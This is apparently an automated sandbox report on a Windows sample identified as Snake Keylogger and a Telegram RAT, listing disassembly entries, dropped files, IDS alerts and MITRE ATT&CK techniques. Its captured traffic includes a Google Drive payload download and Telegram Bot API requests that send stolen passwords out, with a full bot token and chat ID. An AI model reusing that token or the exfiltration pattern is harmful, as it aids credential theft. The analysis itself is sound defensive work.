Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCBAB8h	3_2_39CCB7C0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCA2D0h	3_2_39CC9FD8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC079Eh	3_2_39CC04D0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC77C8h	3_2_39CC74D0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC42B6h	3_2_39CC3FE8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCF8E0h	3_2_39CCF5E8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCCDD8h	3_2_39CCCAE0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC22C6h	3_2_39CC1FF8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCB5F0h	3_2_39CCB2F8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC10BEh	3_2_39CC0DF0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC8AE8h	3_2_39CC87F0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC2756h	3_2_39CC2488
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCBF80h	3_2_39CCBC88
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC154Eh	3_2_39CC1280
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC9478h	3_2_39CC9180
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC5066h	3_2_39CC4D98
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC7C90h	3_2_39CC7998
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCEA88h	3_2_39CCE790
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC3076h	3_2_39CC2DA8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCD2A0h	3_2_39CCCFA8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC1E47h	3_2_39CC1BA0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCA798h	3_2_39CCA4A0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC5986h	3_2_39CC56B8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC8FB0h	3_2_39CC8CB8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCFDA8h	3_2_39CCFAB0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC5E16h	3_2_39CC5B48
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC9940h	3_2_39CC9648
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC030Eh	3_2_39CC0040
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC6E38h	3_2_39CC6B40
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC3E26h	3_2_39CC3B58
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCEF50h	3_2_39CCEC58
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCC448h	3_2_39CCC150
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCAC60h	3_2_39CCA968
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC0C2Eh	3_2_39CC0960
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC8158h	3_2_39CC7E60
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC4746h	3_2_39CC4478
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCD768h	3_2_39CCD470
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC4BD7h	3_2_39CC4908
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC7300h	3_2_39CC7008
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCE0F8h	3_2_39CCDE00
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC2BE6h	3_2_39CC2918
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCC910h	3_2_39CCC618
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC19DEh	3_2_39CC1710
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC9E08h	3_2_39CC9B10
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC54F6h	3_2_39CC5228
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC8620h	3_2_39CC8328
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCF418h	3_2_39CCF120
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCDC30h	3_2_39CCD938
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCB128h	3_2_39CCAE30
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CF1FE8h	3_2_39CF1CF0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CF0CC8h	3_2_39CF09D0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CF0801h	3_2_39CF0508
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CF0338h	3_2_39CF0040
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CF1B20h	3_2_39CF1828
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CF1658h	3_2_39CF1360
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CF1190h	3_2_39CF0E98
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_39E709E1
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_39E70A10

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:887849%0D%0ADate%20and%20Time:%2011/01/2025%20/%2007:38:53%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20887849%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog/sendDocument?chat_id=1767942457&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd326d50cf3dcaHost: api.telegram.orgContent-Length: 582

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49714 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49711 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49715 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49719 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49708 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49725 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49713 -> 104.21.16.1:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZoRLXzC5qF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Assureringer69.udv

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Atletiskes.Aut181

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Bombproof105.Ure235

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\serow.kar

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Windows Analysis Report
ZoRLXzC5qF.exe

Function 00403552 Relevance: 84.5, APIs: 32, Strings: 16, Instructions: 464
stringfilecomCOMMON

Function 0040573B Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Function 00403C49 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00405C83 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403FF7 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Function 004030A2 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Function 004065B4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Function 004032D9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Function 00401794 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004055FC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 004068FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Function 6E9B1817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004024AF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre